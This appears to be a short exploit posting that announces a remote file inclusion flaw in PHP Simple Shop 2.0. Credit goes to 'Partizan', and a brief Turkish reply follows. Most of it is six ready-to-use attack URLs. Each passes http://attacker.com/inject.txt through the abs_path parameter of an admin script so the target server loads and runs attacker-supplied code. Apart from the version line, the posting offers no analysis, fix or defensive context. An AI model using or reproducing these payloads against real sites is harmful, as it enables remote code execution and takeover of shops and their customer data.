PHP Simple Shop <= 2.0 (abs_path) Remote File Inclusion

[Partizan]

PHP Simple Shop <= 2.0 (abs_path) Remote File Inclusion

PHP Simple Shop

Application : PHP Simple Shop
version : Latest version [2.0]
URL : http://www.turnkeywebtools.com/phpsimpleshop


ExpLoit Link:
~~~~~~~~~~~~~~

http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://attacker.com/inject.txt?
http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://attacker.com/inject.txt?

 

[phrisme]

eywaLLah partizan eLine sağLık hocam..